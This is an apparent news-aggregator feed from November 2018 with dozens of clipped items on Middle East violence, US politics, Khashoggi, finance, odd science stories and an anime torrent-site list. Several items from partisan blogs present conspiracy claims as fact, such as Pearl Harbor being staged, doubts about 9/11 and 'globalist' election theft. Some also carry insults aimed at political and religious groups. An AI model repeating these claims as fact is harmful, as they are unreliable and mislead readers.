RAMALLAH (Maan) 11 Nov Thousands of Palestinians marched, on Sunday, in the funeral of a Palestinian who succumbed to his wounds sustained two weeks ago by Israeli forces during clashes in the al-Mazraa al-Gharbiyeh village, north of the central occupied West Bank district of Ramallah. Muhammad Ibrahim Shreitah, 26, succumbed to his wounds after he was shot and wounded by Israeli live ammunition during clashes that erupted in the al-Mazraa al-Gharbiyeh village about two weeks ago. Medical sources at the Istishari Arab Hospital in Ramallah City, where Shreitah was transferred for treatment, confirmed that he was shot and wounded in the head by Israeli forces.
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Israeli forces attack, injure dozens of Palestinian students in Hebron
HEBRON (Maan) 11 Nov Dozens of Palestinians students and teachers suffered from tear-gas inhalation, on Sunday, after Israeli forces attacked them while participating in a peaceful rally commemorating the 14th anniversary of the death of late Palestinian leader, Yasser Arafat, in Hebron, in the south...

15:32

Sore Loser Georgia Democrat Stacey Abrams Lost by Over 50,000 Votes, Wont Concede, an Now Wants State to Vote Again! "IndyWatch Feed Allworld"

Socialist Democrat Stacey Abrams still wont concede in the Georgia Governors race.

She lost by OVER 58,000 VOTES!

Her party even FOUND thousands of mysterious NEW VOTES several days after the election.

Abrams is down 58,150 votes after ten days of counting.

But Stacey Abrams wont concede.

Now she wants a do-over.

 

Stacey Abrams campaign and legal team is preparing an unprecedented legal challenge that could force a court to rule whether another election is needed.

Go away, Stacey.
You lost.

The post Sore Loser Georgia Democrat Stacey Abrams Lost by Over 50,000 Votes, Wont Concede, an Now Wants State to Vote Again! appeared first on The Gateway Pundit.

15:32

Syrian War Report Nov. 16, 2018: U.S. Exposes Assads Evil Plan To Hurl Middle East Into Chaos "IndyWatch Feed Allworld"

from SouthFront On November 15, US Ambassador to Syria James Jeffrey exposed an evil plan of Syrian President Bashar al-Assad to create ISIS and to hurl the Middle East, particularly Syria and Iraq, into chaos. We also think that you cannot have an enduring defeat of ISIS until you have fundamental change in the Syrian []

15:32

UAE and Yemen's al-Islah: Meeting of enemies doesn't mean peace "IndyWatch Feed Allworld"

The meeting was an attempt to forge an alliance of convenience and consolidate power

15:31

Man Wearing MAGA Hat Assaulted While Walking Downtown Tucson "IndyWatch Feed Allworld"

Same as wearing a target. Via KVOA: Jonathan Sparks is passionate about his political beliefs, but he said those beliefs were attacked while he was walking around Tucson. And oh was it painful. My ankle was just hanging there, said Sparks. As Sparks walked downtown, a man attacked him from behind. I felt a very []

15:31

Zombie nation: US college turns mass shooting survival drills into casual routine "IndyWatch Feed Allworld"

Reuters / Carlos Garcia Rawlins Memorial for Parkland school shooting victims. With mass shootings killing more people than ever in America, a New York college is offering students regular drills in surviving "active shooter incidents," preparing them for an emergency that has seemingly become routine. Stony Brook University is hoping that instructing students and faculty in the finer points of running and hiding might up their chance of surviving a mass shooting on campus. The class offers students an opportunity to role-play "active shooter scenarios" not just in the classroom but also in dorm hallways and off-campus housing. Students run the drills once a week, equipped with helmets, assault shields, bullet-proof vests, and of course, (fake) weapons.

15:30

David Kranzler: Economic Crisis Approaching Fast (Video) "IndyWatch Feed Allworld"

David Kranzler: Economic Crisis Approaching Fast Video Silver Doctors The Dow and the S&P 500 could be cut in half and they would still be overvalued, Fund Manager Dave Kranzler tells Silver Doctors. Kranzler thinks the fundamentals are showing...

The post David Kranzler: Economic Crisis Approaching Fast (Video) appeared first on The Daily Coin.

15:29

Get it 'right'? Israeli consulate spars with US journalist over NYT propaganda headline "IndyWatch Feed Allworld"

An American journalist who pointed out the extensive edits the New York Times made to its article about the Israeli bombing of Gaza found himself in a heated Twitter argument with the Israeli consulate. A Twitter account "Editing The Gray Lady," which tracks edits to the Times, revealed on Monday how the US paper of record changed its headlines and copy to describe the events in Gaza. "Incredible propaganda," Ben Norton, a New York-based writer for The Real News, commented on the edits, adding that the Times "bent over backward and rewrote its article to erase how Israel initiated the violence in Gaza, obscuring the fact that Gaza's self-defense was 'retaliatory' and instead pushing the covert Israeli operation until the end."

15:27

WATCH: Cop Clearly Caught Taking Mans Cash, Stuffing It into His SockNO CHARGES "IndyWatch Feed Allworld"

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A police officer was seen stuffing cash into his sock during a raid on a drug suspect. He told prosecutors it was a "joke" when he got caught, and they believed him.

The post WATCH: Cop Clearly Caught Taking Mans Cash, Stuffing It into His SockNO CHARGES appeared first on The Free Thought Project.

15:25

Apple shares some gorgeous iPhone XR user photos "IndyWatch Feed Allworld"

Some terrific shots from around the world.

My favorite? The crisply focused leaf, shot in Beijing.

Read this on The Loop

15:23

Thanking Veterans For Their Service But Why? "IndyWatch Feed Allworld"

Depending on the context, the small word why can be totally innocuous or it can be just about the most subversive and even sacrilegious word one can utter.  This is probably why I love this word so much: its ability to unleash tremendous power against all sorts of sacred cows and unchallenged beliefs.  So, today I want to ask everybody why so many people feel the need to thank veterans for their service?

But first, lets debunk a few myths:

First, lets begin by getting myth #1 out of the way: the notion that US Americans dont like wars.  That is totally false.  Americans hate losing wars, but if they win them, they absolutely love them.  In other words, the typical US reaction to a war depends on the perceived outcome of that war. If it is a success they love it (even if it is a turkey-shoot like Desert Storm). If it is a deniable defeat (say the US/NATO air operations against Serbian forces in Kosovo or the total clusterbleep in Grenada) they will simply forget it. And if it is an undeniable defeat (say Iraq or Afghanistan) then, yes, indeed, most US Americans will be categorically opposed to it.

Next is myth #2: the truth is that no US serviceman or woman has fought a war in defense of the USA since at least WWII (and even this one is very debatable considering that the US forced Japan to wage war and since the attack on Pearl Harbor was set-up as a pretext to then attack Japan). Since 1945 there has not been a single situation in which US soldiers defended their land, their towns, their families or their friends from an aggressor. Not one!

All the wars fought by the USA since 1945 were wars of aggression, wars of choice and most of them were completely illegal to boot (including numerous subversive and covert operations). At most, one can make the argument that US veterans defended the so-called American way of life, but only if one accepts that the said American way of life requires and mandates imperialist wars of aggression and the wholesale abandonment of the key concepts of international law.

Finally, there is the ugly dirty little secret that everybody knows but, for some reason, very few dare to mention: the decision to join the (all volunteer) US military is one primarily based on financial considerations and absolutely not some kind of generous service of the motherland for pure, lofty, ideals.  Yes, yes, I know there were those who did join the US military after 9/11 thinking that the USA had been attacked and that they needed to help bring the fight to those who attacked the USA.  But even with a very modest degree of intelligence, it should have become pretty darn obvious that whether 9/11 was indeed the work of Bin Laden and al-Qaeda or not (personally I am absolutely certain...

15:21

Libya is 'hell': Migrants barricaded in cargo ship refuse demands to leave "IndyWatch Feed Allworld"

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Migrants on the Nivin ship tell MEE they are injured and having to urinate into bottles

15:20

Google searches reveal public interest in conservation is rising "IndyWatch Feed Allworld"

OK, Google: Has the general public lost interest in biodiversity conservation? Has peoples interest in environmental issues been overshadowed by climate change alone? The answer to both questions, according to Google searches at least, is No. Public interest in both conservation and climate change seems to be rising, a new study has found. At first, Zuzana Burivalova, a tropical forest ecologist at Princeton University who was also the lead researcher on Mongabays Conservation Effectiveness series, and Rhett Butler, Mongabays founder and CEO, wanted to find out which conservation strategies were getting more popular over time, and which ones were simply fads. But then, some conservation scientists echoed a common sentiment: public support for conservation had been waning in general, and what limited bandwidth the public had for environmental issues was being dominated by climate change. Burivalova also observed that politicians in many countries were moving environmental issues further down on their list of priorities. This would reflect that perhaps people care less about the environment, Burivalova said, and so I was interested to see whether thats really the case. To find out, Burivalova, Butler and David Wilcove, a professor of ecology at Princeton University, turned to the internet. Google searches can be a window to what people are curious about. Google Trends, which measures these searches over time, can in turn be a proxy measure of what the general public is interested in or wants to know more about. Previous studies that have used Google Trends data to gauge peoples searches

15:19

Albert Bender: Young Hoopa woman found murdered in California "IndyWatch Feed Allworld"

Added to the long list of missing and murdered indigenous women is Angela McConnell, found brutally killed on September 7.

15:17

Russia excels in ditching dollar ahead of pending US sanctions against countrys financial system "IndyWatch Feed Allworld"

by Russia Today, Moscow [ Editors Note: The US is taking a high stakes gamble on its current most aggressive sanctions campaign aimed not only at old Cold War adversaries, but allies alike. There are basically two types of countries being targeted, those already weak and vulnerable, and then there are those with solid, diversified []

15:14

Peregrine falcons on video "IndyWatch Feed Allworld"

This video is called PEREGRINE FALCON, THE FASTEST BIRD IN THE WORLD.

15:12

EU President and Rumored Alcoholic Jean-Claude Juncker Pictured in Mismatched Shoes Wants to Lead New EU Army (VIDEO) "IndyWatch Feed Allworld"

In July EU President appeared SO DRUNK at the NATO meetings that he had to be helped to stand and get on and off stage for the group photo.

The prime ministers of the Netherlands and Portugal, Mark Rutte and Antonio Costa, helped prop him up.

The EU later insisted that President Jeah-Claude Juncker was not drunk for the photo sessions.
Hmm.

Now this

Jean-Claude Juncker was filmed this week at an event with two different colored shoes on.

Juncker has a brown shoe and a black shoe on.
Wow!

He wants an EU Army.

https://twitter.com/V_of_Europe/status/1063402361752829952

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15:11

Working-Class Men or Suburban Women? Republicans Need Both "IndyWatch Feed Allworld"

As long as Trump is president, the party shouldnt put too much faith in grand theories of the electorate.

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The Republicans want you. Photographer: Rick Gershon/Getty Images
Ramesh Ponnuru is a Bloomberg Opinion columnist. He is a senior editor at National Review, visiting fellow at the American Enterprise Institute and contributor to CBS News.

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Disappointed after the midterm elections, Republicans are trying to decide which voters should be the partys top priority.

In recent elections, they have been losing votes from white college graduates, often in the suburbs, while gaining votes from whites without college degrees. Should Republicans go further down the road of working-class populism, perhaps trying to expand its appeal beyond white voters? Or should they try to reverse their losses among suburban moderates?

Er...

15:10

Facebook Blasted for Promoting Anti-Semitic Conspiracy Theories "IndyWatch Feed Allworld"

After the New York Times published a bombshell report detailing Facebooks efforts to smear its critics by deploying anti-Semitic conspiracy theories that are commonly spread right-wing extremists, Color of Changethe online racial justice organization that Facebook attempted to discredit as a puppet of billionaire philanthropist George Sorosissued a scathing statement on Thursday denouncing the tech giant for using anti-Semitism as a crowbar to kneecap a black-led organization working to hold them accountable.

Facebook is violating its most fundamental mission of building human connection, as well as the trust placed in it by billions of people, by advancing extremist far-right conspiracy theories that are aimed at denigrating Jews and belittling people of color, said Color of Change President Rashad Robinson. It is reprehensible, it is dangerous, and they should be ashamed.

While Robinson notes that Color of Change has worked with Facebook on a variety of civil rights issues in the past, the group has also been sharply critical of the social media behemoth, accusing it of placing profit over the safety and privacy of millions of Americans, especially black people, Muslims, and other vulnerable groups.

According to the Times, Facebook used the Republican public relations firm Definers Public Affairs to explore the financial connections between Mr. Soros family or philanthropies and Color of Change in an attempt to discredit the groups legitimate criticism of the social media giant as Soros-fueled propaganda.

Facebooks response to our campaign, which challenged them to improve their platform and create safe conditions for black people and other marginalized groups, was to fan the flames of anti-Semitism, Robinson said.

By suggesting to reporters that Color of Change is acting as the puppet of Mr. Soros merely because he is one of our many funders, Robinson continued, they have given oxygen to the worst anti-Semitic conspiracy theories of the white nationalist Trump base. Those theories aim to not only dehumanize Jews, but also seek to deny legitimac...

15:09

Murdered Saudi journalist Khashoggis last words "IndyWatch Feed Allworld"

This 15 November 2018 video from the USA says about itself:

Saudi Officials Lying About Khashoggi Murder

The level of cover-up for this serious murder is stupidly obvious. Cenk Uygur and Ana Kasparian, hosts of The Young Turks, break it down.

According to Dutch NOS TV today, the last words of Saudi journalist Khashoggi, as recorded just before he was murdered, were:

I am suffocating. Yemen is suffocating as well. So is Palestine. The whole Arab world is suffocating.

15:08

10 Best Anime Torrent Websites In 2018 "IndyWatch Feed Allworld"

All forms of animated media or often referred to as Anime has millions of fans across the globe.

Anime is possibly the most well developed and true to life animated content that is either available in the form of episodes based series or movies.

Well if you want to watch Anime online using torrent, you are reading the right article. So these are some of the best anime torrent sites that are worth checking out.

In many major countries and regions like Saudi Arabia, India, Portugal, Denmark, United Kingdom, and Morroco these anime torrent websites are completely blocked. Well, you can use VPN services for accessing anime torrent sites in these regions. In fact, you can check out our list of the Best VPNs for torrenting in 2018.

If you still face any issue do check out How To Unblock Torrent Sites.

NOTE: Techworm does not condone using torrents to illegally obtain content. Using the following torrent websites for illegal purposes is done entirely at your own risk. Techworm takes no responsibility for any legal problems you encounter.

Top 10 Best Anime Torrent Websites

Animetosho

The first best anime torrent site on the list is Animetosho. Using Animetosho you can easily download some of the most popular anime series.

A majority of torrents on Animetoscho are verified. Animetosho has a simple and easy to navigate UI and this anime torrent site also displays the newest anime content on its homepage.

As for downsides, its somewhat difficult to find English dubbed anime shows on the platform. Overall, Animetosho is a reliable anime torrent website.

VISIT Animetosho

1337X

1337X is another popular anime torrent website that has g...

15:07

Watch Live: Can The Globalists Attempt To Steal US And British Elections Be Turned Back? "IndyWatch Feed Allworld"

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Its time for patriots worldwide to stand up to the NWO and take their countries back.

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15:05

Top of the Charts: Sex-starved youths and savings-starved pensioners. "IndyWatch Feed Allworld"

Sign up for our weekly Top of the Charts emails here

 

Afternoon all,

 

So the UKs live broadcast episode of Deal or No Deal is in full swing and Im sure we all feel very proud of ourselves. The only good news is that Noel Edmonds hasnt yet made an appearance, although were not exactly short of badly dressed men from a time long past wandering around. Its so heartening to see that everyones obviously taken to heart the crucial lesson from last weeks, often moving, commemorations of the 1918 armistice: POLITICS IS NOT A GAME. Good times.

 

This weeks reads aim to provide some distraction from the darkness of refreshing twitter for updates on Michael Goves has he/hasnt he resigned hokey cokey (plot spoiler: he never does), with tales of no sex and micro chips.

 

So put the news down and have a good weekend everyone.

 

Torsten Bell,

Director, Resolution Foundation

 

 

 

No sex. So it turns out our recent Intergenerational Commission did not cover every big generational question like why are the youth having much less sex than previous generations. To fill the gap this months Atlantic takes a deep dive into why that might be phones get a lot of the blame along with molly coddling parents. Apparently theres also been an increase in fear of physical intimacy although fair enough, have you seen how hard it is to get divorced these days?

 

Too many men? Theres an algorithm for that. The Financial Times recently looked at the gender balance among the people it quotes in articles, and found that only 21 per cent of them were women. To...

15:04

Dont make human sacrifice a part of US foreign policy "IndyWatch Feed Allworld"

Like most American consumers of news, weve become accustomed to watching the Beltway commentariat run around like so many headless chickens with every non-story emanating from the Trump administration. Weve learned to wait for verification, to double-check, and go back to original sources before believing alarming claims. For as often as not the five-alarm stories of the day turn out to be misleading or false.

But on Thursday, NBC News reported a story that was truly disturbing, and well-sourced enough to get our attention.

Heres the context: Last month, Turkish President Recep Tayyip Erdogan, an increasingly unreliable ally to the U.S., caught the Saudis red-handed murdering a dissident journalist on his countrys soil. Although no respecter of human rights himself, Erdogan rightly sees that this outrage gives him some leverage, especially because President Trump has aligned himself with the Saudis against Iran and in favor of achieving a peace deal in Israel.

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Erdogan has therefore been relentless in publicly denouncing the Saudis. And officials from the Trump administration, watching the Saudi monarchys current self-destruction, understandably want to salvage what chances there are for such a peace. So how to get Erdogan to back off of the Saudis? The Trump administration may be considering a human sacrifice.

One thing Erdogan has wanted consistently from the U.S. since 2016 is the head of Turkish cleric Fethullah Gulen on a platter. Erdogan has long blamed Gulen, without presenting any credible evidence, for masterminding the 2016 military coup against his regime.

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Fethullah Gulen

Gulen, the head of an international movement promoting a peaceful and tolerant vision of the Islamic religion in contrast to other movements, is a legal resident in the United States. If he really were responsible for the coup in Turkey, a NATO ally, the U.S. would extradite him. But until now, both the Obama and Trump administrations have resisted Turkish demands for his extradition. Even when Erdogan was holding pastor Andrew Brunson as a hostage on ludicrous, trumped-up charges, demanding Gulen in exchange, the Trump administration refused, citing the lack of evidence for Gulens involvement in the coup, to say nothing of the zero-percent chance that Gulen would get a fair trial in Erdogans Turkey.

Unfortunately, however, this might be changing. And this is where the worrying news story comes in.

NBC...

15:03

NO CONFIDENCE Vote Called Against Mayor Joe PLANT "IndyWatch Feed Allworld"

BREAKING NEWS!

NO CONFIDENCE Vote Called Against Mayor Joe PLANT

  • an In My View article by NIGEL WARD.

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The North Yorks Enquirer has received a Press Release announcing that a Requisition calling for an Extraordinary Meeting of Scarborough Borough Council has been served, calling for a Vote of No Confidence in Scarborough Mayor, Councillor Joe PLANT [Con.]. The Proposer of the Motion is Labour Group Deputy Leader Councillor Tony RANDERSON, with Independent Group Leader Councillor Sam CROSS as Seconder:

Download the PDF file PRESS_RELEASE_No-Confidence_Mayor_Nov2018.

Primary legislation governing the methodology of convening an Extraordinary Meeting can be found in Schedule 12, Part 1, s. 3(1) of the Local Government Act 1972:

3(1) An extraordinary meeting of a principal council may be called at any time by the chairman of the council. 

(2) If the chairman refuses to call an extraordinary meeting of a principal council after a requisition for that purpose, signed by five members of the council, has been presented to him, or if, without so refusing, the chairman does not call an extraordinary meeting within seven days after the requisition has been presented to him, then any five members of the council, on that refusal or on the expiration of those seven days, as the case may be, may forthwith call an extraordinary meeting of the council. 

In the event that the Mayor (or, in this case) the Deputy Mayor, Councillor Dilys CLUER [Green], ignores or fails to act upon the Requisition, then the signatories will presumably instruct SBC Democratic Services Manager Mr St John HARRIS to schedule the Extraordinary Meeting as soon as practicably possible.

It should be remembered that an earlier Requisition for an Extraordinary Meeting to examine the legality of the conduct of the Chief Executive has apparently been disallowed by the Chief Executive. A clear and thoroughly reprehensible conflict of interests.

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15:01

THE WASHINGTON POST'S POP MUSIC CRITIC MIGHT BE OVERTHINKING ELVIS'S MEDAL OF FREEDOM "IndyWatch Feed Allworld"

Chris Richards,a pop music critic at The Washington Post, thinks one of the White House's Medal of Freedom picks is a dog whistle:

Yes, the late Elvis Presley will receive the Medal of Freedom from President Trump on Friday.

Yes, Trump is sending a message here.

Yes, Presley is among the most pivotal and controversial musicians of the previous century, so yes, this is another needling MAGA maneuver a little nod to the good old days, back when black visionaries could invent rock-and-roll, but only a white man could become the king.

Yes, this overture looks ugly to anyone who feels antagonism and regression radiating from Trumps promise to make America great again. And yes, it all feels especially absurd to members of the hip-hop generation its eldest citizens now past middle-age who learned how to feel about the legacy of Presley the moment they first heard Public Enemys Fight the Power blasting a hole through our national mood in the summer of 1989. Yeah, you know the Chuck D line Im talking about: Elvis was a hero to most, but he never meant s--- to me.
Maybe -- except that it's very difficult to imagine Trump even being aware of that Public Enemy song, which was released the year he turned 43. Some middle-aged and older people keep up with contemporary music, but it's clear from the playlist at Trump rallies that the president never was one of those people. (These days he does seem to like Adele.) In 1989, Trump was probably listening exclusively to rock and pop radio stations that carefully excluded rap from their playlists. It's true that Trump has made efforts to be seen hanging out with hip-hop stars, just the way he likes to be seen hanging out with black athletes -- I'm sure he regards them as black people who are staying in their lane -- but there's no hip-hop at Trump rallies, not even during the brief period when Kanye West was trying to be Trump's best friend.

It's possible that someone on Trump's staff remembers the P.E. song and picked Presley for that reason. But it's also possible that the White House just wanted someone to appeal to the rural white base, and whoever was in charge of the selection was too lazy to look past the most obvious choice.

The P.E. lyric is legendary, but there's been sonme reconsideration of Chuck D's premise. As Stereo Williams, an African-American music critic, noted a couple of years....

15:00

Erik Townsend: No End In Sight To This US Dollar Rally? (Video) "IndyWatch Feed Allworld"

Erik Townsend: No End In Sight To This US Dollar Rally? Video Wall St for Main St Jason Burack of Wall St for Main St interviewed returning guest, former software and technology entrepreneur, hedge fund manager and host of...

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Disgusting: Sen. Kamala Harris compares ICE to KKK "IndyWatch Feed Allworld"

This is the demorat party of today: Demonizing federal employees who are hired to follow the law and protect our borders. From the video description: Democrat Senator Kamala Harris compares ICE to the KKK during a Senate Homeland Security and Continue reading

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15:00

The 100th Anniversary of Polish Independence in Warsaw Was a Nationalist Triumph "IndyWatch Feed Allworld"

It was a week wracked with more drama than a high school glee club. With just a few days before Warsaws annually scheduled march commemorating Polish Independence Daythis march commemorating 100 years of Polands independence from the German, Austrian, and Russian empiresleftist mayor and spiritual lesbian Hanna Gronkiewicz-Waltz banned the event, citing its aggressive nationalism.

In response, the Polish government announced their own march, taking place along the route that the banned march would take. Then, 24 hours later, the nationalist groups holding the banned march had the ban overturned by the courts. The government and the nationalists made a compromise: the marches would be merged, with the government group in front and the nationalists in back.

I joined in on the march this past Sunday (thanks to the support of my readers) and it was a beautiful experience. Contrary to the fake news medias reports of the march being dominated by the far-right (whatever that means) and neo-Nazis (laughable to anyone who knows Polish history), the hundreds of thousands of people who filled the streets of Warsaw that day were normal Poles: families, couples, grandparents. There were a number of foreign nationalists, but the march as a whole was invigorating, inspiring, and optical.

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15:00

Weekend long read "IndyWatch Feed Allworld"

1) At the Times of Israel David Horovitz tells the story of The path of a piece of shrapnel: A minor story that made no headlines.

Late on Monday evening, at the height of the latest round of indiscriminate rocket fire into Israel by Hamas and other Islamist terror groups in neighboring Gaza, one rocket got through Israels remarkable Iron Dome missile defense system and landed directly on a house in the southern working-class town of Netivot. []

It brought down the ceiling in one of the bedrooms, it smashed a large hole in an outside wall, it devastated the living room, it destroyed furniture, it injured the family dog, whose blood was still on the floor when the TV crew entered.

The story played prominently on Israeli TV news late Monday [], though it made little international impact, unsurprisingly, since mercifully nobody was killed.

2) At the Jerusalem Post, Khaled Abu Toameh takes a look at the background to Hamas current preference for a ceasefire....

15:00

Egypt: Muslim with Quran and sharp tool attacks Christians while screaming Allahu akbar "IndyWatch Feed Allworld"

Nothing that a little interfaith dialogue wont fix, no? Christianity crackdown: Horror as man with sharp tool attacks prayer service Awful, by Tom Nellist, Express, November 15, 2018: CHRISTIANS in Egypt were attacked during a prayer service by a man wielding a sharp tool and shouting Islamic slogans. According to Egyptian Sunday newspaper Watani, []

15:00

Whats Missing from Buy & Hold Critiques "IndyWatch Feed Allworld"

Why You Should Stick With `Buy and Hold Beware of those who claim they have a strategy to capture the upside of market volatility and avoid the downside. Bloomberg, November 9, 2018       Wouldnt it be great if you could insure your portfolio against market volatility and drawdowns for only a few pennies

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15:00

FRIDAY OPEN THREAD "IndyWatch Feed Allworld"

That time of the week again.

15:00

Alkaline Water or Hydrogen Water Which One Is Better for You? "IndyWatch Feed Allworld"

November 17th, 2018 By Dr. Joseph Mercola Contributing writer for Wake Up World Alkaline water is experiencing a resurgence in popularity with sales jumping from $47 million in 2014 to $427 million in 2017.1 Marketers claim alkaline water can correct excess acidity in your tissues, which can then prevent or reverse cancer, arthritis and other degenerative diseases.2 However, theres virtually no []

15:00

The Meaning of a Multi-Polar World "IndyWatch Feed Allworld"

Eric Zuesse Right now, we live in a mono-polar world. Here is how US President Barack Obama proudly, even imperially, described it when delivering the Commencement address to Americas future generals, at West Point Military Academy, on 28 May 2014: The United States is and remains the one indispensable nation. [Every other nation is therefore dispensable; we therefore now have Amerika, Amerika ber alles, ber alles in der Welt.] That has been true for the century passed and it will be true for the century to come. America must always lead on the world stage. If we dont, no one else will. Russias aggression toward former Soviet states unnerves capitals in Europe, while Chinas economic rise and military reach worries its neighbors. From Brazil to India, rising middle classes compete with us. [He was here telling these future US military leaders that they are to fight for the US aristocracy, to help them defeat any nation that resists.] In Ukraine, Russias recent actions recall the days when Soviet tanks rolled into Eastern Europe.

14:56

London: Manhunt underway for attacker who slashed woman across her buttocks "IndyWatch Feed Allworld"

London's Metropolitan Police are hunting a man who sliced across a woman's bottom with a sharp object, in a random attack, leaving her needing hospital treatment, the Evening Standard reports. Detectives have released CCTV footage of the moment the attacker follows the unsuspecting woman to the entrance of a flat on Craven Terrace, Westminster, before cutting across the victim's bottom from behind. The assault took place on October 28. The woman, believed to be in her 20s, is seen turning around and grabbing the point of contact, by which time the perpetrator, who had barely broken stride, flees the scene.

14:56

Would You Try Bug Cookies, Ant and Worm Nachos Or Cricket Flavored Ice Cream "IndyWatch Feed Allworld"

A Canberra classroom is cooking up creepy crawlies in a mission to find the recipe that will make bug-eating mainstream in the Western world. It is a lesson in sustainable eating for the Gold Creek High School students, who are mixing mealworms, ants and crickets into food. But it is also something their science teacher, []

14:56

Prince Charles Drives A Luxury Car That Runs On White Wine and It Smells Delicious "IndyWatch Feed Allworld"

Say what you want about the British royal family, but at least one of them is trying to be responsible about the type of fuel he uses to get around. Heir to the throne, Prince Charles, reportedly drives a 38-year-old DB5 Aston Martin thats powered almost entirely by wine- and cheese-derived bioethanol. How is that []

14:55

What Your Fears Reveal About Your Personality "IndyWatch Feed Allworld"

These nerve-wracking phobias arent entirely irrationaland they might just say a lot about your inherent character. Fear of clowns means you value honesty Does the idea of Pennywise make your heart drop? Not to worry, you arent alone. According to an article in Scientific American, clowns are portrayed as tricksters whose masks give them the feeling []

14:55

500 Years Later, A Vatican Mystery Has Been Solved "IndyWatch Feed Allworld"

The Vatican Museums started as only one marble sculpture in 1506. It was purchased more than 500 years ago by a pope, and many more collections and sculptures have been added over the course of its history. The 16th century was full of mysteries, but perhaps one of the greatest mysteries of all was the []

14:55

Footprints of The First Known Animal To Walk Across The Grand Canyon Found "IndyWatch Feed Allworld"

Over three hundred million years ago, a lizard-like reptilian ran across wet sand in the Grand Canyon in Arizona. Twenty-eight of its footprints have recently been discovered after a rock fell and split open on the Bright Angel Trail. The first to see the prints was a group of paleontology students who notified Stephen Rowland []

14:54

Doctors Extract Huge Spoon From Mans Throat A Whole Year After He Swallowed It "IndyWatch Feed Allworld"

Another week, another bonkers medical case. And like so many in the genre, the latest owes its existence to those three timeless ingredients: youth, ridiculous challenges, and foreign bodies being inserted into places they have no right to be. Back in 2017, Mr Zhang, a man in his early 20s from Xinjiang in northwest China, was betting with friends []

14:54

New Zealand Fisherman Pulls 18 Month Old Baby From Sea Alive Saved By Freak Miracle "IndyWatch Feed Allworld"

A fisherman in New Zealand pulled an 18-month-old baby from the sea alive after the boy went missing from his campsite where he was staying with his parents. Gus Hutt, who was fishing at a beach near a holiday park in the Bay of Plenty region of the North Island, thought he was pulling a doll from the ocean []

14:54

Why Some People Can Never Admit Theyre Wrong "IndyWatch Feed Allworld"

We all make mistakes and we do so with regularity. Some errors are small, such as, No, we dont need to stop at the store; theres plenty of milk left for breakfast. Some bigger, such as, Dont rush me; we have plenty of time to get to the airport before the flight leaves. And some []

14:50

Russia stifled mobile network during protests Russias Federal Security Service involved in surveillance of online communications, illegal arrests "IndyWatch Feed Allworld"

Russian authorities ordered two mobile operators to cut most access to mobile data services in the region of Ingushetia as protesters were massing outside government offices there, according to a document from the state telecoms regulator.

The Ingushetia case, the first time such an order has been documented in Russia, indicates Russia is restricting access to social media platforms such as Facebook or Twitter so they cannot be used to organize anti-government protests.

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The same techniques have been deployed in the Middle East where, faced with popular uprisings, governments have limited access to mobile data services, according to activists and mobile operators.

The document seen by Reuters, from the Ingushetia office of the Roskomnadzor regulator, states that 3G and 4G mobile Internet services were turned off in Ingushetia from Oct. 4 to Oct. 17 on the basis of the justified decision of the law enforcement authorities.

The document did not mention the protests or say on what basis the law enforcement authorities took their decision.

The Federal Security Service and the Interior Ministry did not respond to requests by Reuters for comments. A spokesman for Roskomnadzor, in response to questions, did not say why the services were switched off in Ingushetia.

A protest rally in Moscow against a court decision to block the Telegram messenger service because it violated Russian regulations, on Monday. Photograph: Tatyana Makeyeva/Reuters

A protest rally in Moscow against a court decision to block the Telegram messenger service because it violated Russian regulations, on Monday. Photograph: Tatyana Makeyeva/Reuters

Protests broke out in Ingushetia, a mainly Muslim region in southern Russia, on Oct. 4 after a deal was agreed delineating Ingushetias border with the neighboring Russian region of Chechnya.

The protesters said the deal conceded too much land to Chechnya, and thousands of them gathered in the regions administrative capital, Magas, to demand it be rejected. At one point, security forces fired into the air to try to disperse the protes...

14:50

If America Is Such A Happy Place, Why Is The Suicide Rate Up 34% Since The Year 2000? "IndyWatch Feed Allworld"

If America Is Such A Happy Place, Why Is The Suicide Rate Up 34% Since The Year 2000? by Michael Snyder The Economic Collapse Blog What in the world has happened to us?  Despite our ridiculously high standard of...

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14:49

Four Russian prison guards sentenced for beating an inmate to death "IndyWatch Feed Allworld"

Four guards at a penitentiary in the Russian city of Chelyabinsk have been handed prison terms for beating an inmate to death. A court in Chelyabinsk on November 15 found the four men guilty of abuse of power with violence and sentenced them to prison terms between three and eight years. Inmate Sultan Israilov was found dead in the Corrective Colony No. 2 penitentiary in December 2015. The prison authorities initially claimed the death was a suicide. But some 500 inmates started a hunger strike, demanding an investigation into Israilov's death, which led to a probe in which five prison guards were arrested. One of the guards committed suicide in May 2016 while under house arrest.

14:48

Video: Rand Paul Wanrs Of Censorship Of Conservatives By Big Tech "IndyWatch Feed Allworld"

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14:46

Driver takes plea deal for deaths of Lakota mother and son "IndyWatch Feed Allworld"

A Nebraska man is facing just a year in jail for a crash that took the lives of Lynell Morrison-Cash and her son, Waylon, 14.

14:46

Religious homophobia in Dutch Zeeland "IndyWatch Feed Allworld"

This 2013 video from the USA says about itself:

Televangelist Pat Robertson made homophobic remarks regarding same-sex couples, saying gay couples make him want to vomit. Watch a clip in the video.

Televangelist Pat Robertson responded to a viewer question on his Christian Broadcasting Network show The 700 Club, saying there should be a vomit button so that he could press it every time he sees a photo of a same-sex couple kissing on Facebook.

Unfortunately, in Dutch Zeeland province there are not only beautiful birds, but there is also ugly religious homophobia.

Translated from Dutch NOS TV today:

22 of the 33 churches in Tholen

former island in Zeeland; in the Dutch Bible belt.

strongly protest against the hoisting of the rainbow flag and the Sunday opening of a number of tourist shops. In a full-page advertisement in the local Eendrachtbode paper they write that the Christian norms and values on Tholen are pushed aside.

The municipal council of Tholen last month agreed with the hoisting of the rainbow flag on Coming Out Day, the day that LGBTQ people can come out for their orientation.

According to the church councils, of [fundamentalist Calvinist] congregations, there can be no other relationship than that between a man and a woman. The hoisting of the...

14:44

Teenagers are boiling sanitary pads and drinking the resulting liquid in latest unhygienic way to get high "IndyWatch Feed Allworld"

Several police forces in Indonesia have reportedly found children, high or hallucinating, after having boiled sanitary products in water and drinking the fluid. Needless to say, the process is incredibly unhygienic and dangerous. According to a representative from the National Narcotics Agency, Senior Commander Suprinarto shared that the presence of chlorine in the mixture is []

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14:44

Distribution Release: Raspbian 2018-11-13 "IndyWatch Feed Allworld"

Simon Long has announced the availability of a new release of Raspbian, a Debian-based distribution for the Raspberry Pi single-board computers. One major change in this release is the addition of the VLC media player: "When I first joined Raspberry Pi, back in the dim and distant past....

14:43

Google's Waymo Plans to Launch a Self-Driving Car Service in December "IndyWatch Feed Allworld"

Waymo to Start First Driverless Car Service Next Month

